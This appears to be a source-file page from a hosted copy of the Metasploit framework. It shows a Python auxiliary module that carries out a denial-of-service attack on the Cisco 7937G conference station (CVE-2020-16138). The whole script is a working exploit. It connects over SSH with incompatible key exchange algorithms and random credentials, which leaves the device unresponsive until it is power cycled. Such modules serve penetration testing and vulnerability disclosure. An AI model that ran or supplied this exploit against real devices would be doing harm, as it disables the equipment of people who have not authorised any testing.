Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/cisco/cisco_7937g_dos.py
Views: 11784
#!/usr/bin/env python31# -*- coding: utf-8 -*-23# standard modules4from metasploit import module5import logging6import string7import random89# extra modules10dependency1_missing = False11dependency2_missing = False12try:13import socket14except ImportError:15dependency1_missing = True16try:17import paramiko18except ImportError:19dependency2_missing = True202122metadata = {23'name': 'Cisco 7937G Denial-of-Service Attack',24'description': '''25This module exploits a bug in how the conference station26handles incoming SSH connections that provide an incompatible27key exchange. By connecting with an incompatible key exchange,28the device becomes nonresponsive until it is manually power29cycled.30''',31'authors': [32'Cody Martin'33# Author Homepage: debifrank.github.io34# Organization: BlackLanternSecurity35# Org. Homepage: BlackLanternSecurity.com36],37'date': '2020-06-02',38'license': 'GPL_LICENSE',39'references': [40{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},41{'type': 'cve', 'ref': '2020-16138'}42],43'type': 'dos',44'options': {45'rhost': {'type': 'address',46'description': 'Target address',47'required': True,48'default': 'None'},49'timeout': {'type': 'int',50'description':51'Timeout in seconds',52'required': True,53'default': 15}54}55}5657# from modules/auxiliary/dos/http/slowloris.py58def create_rand_cred(size, seq=string.ascii_uppercase + string.ascii_lowercase):59return ''.join(random.choice(seq) for _ in range(size))6061def run(args):62module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))63if dependency1_missing:64logging.error('Python module dependency (socket) is missing, cannot continue')65logging.error('Please execute pip3 install socket.')66return67if dependency2_missing:68logging.error('Python module dependency (paramiko) is missing, cannot continue')69logging.error('Please execute pip3 install paramiko.')70return7172sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)73sock.settimeout(int(args['timeout']))74try:75sock.connect((args['rhost'], 22))76except OSError:77logging.error("Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled.")78return7980transport = paramiko.Transport(sock=sock, disabled_algorithms={"kex": ["diffie-hellman-group-exchange-sha1",81"diffie-hellman-group14-sha1",82"diffie-hellman-group1-sha1"]})83ssh_uname = create_rand_cred(random.randint(7, 10))84ssh_pass = create_rand_cred(random.randint(7, 10))85try:86transport.connect(username=ssh_uname, password=ssh_pass)87except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHException):88logging.info("DoS non-reset attack completed!")89logging.info("Errors are intended.")90logging.info("Device must be power cycled to restore functionality.")91return9293return949596if __name__ == '__main__':97module.run(metadata, run)9899100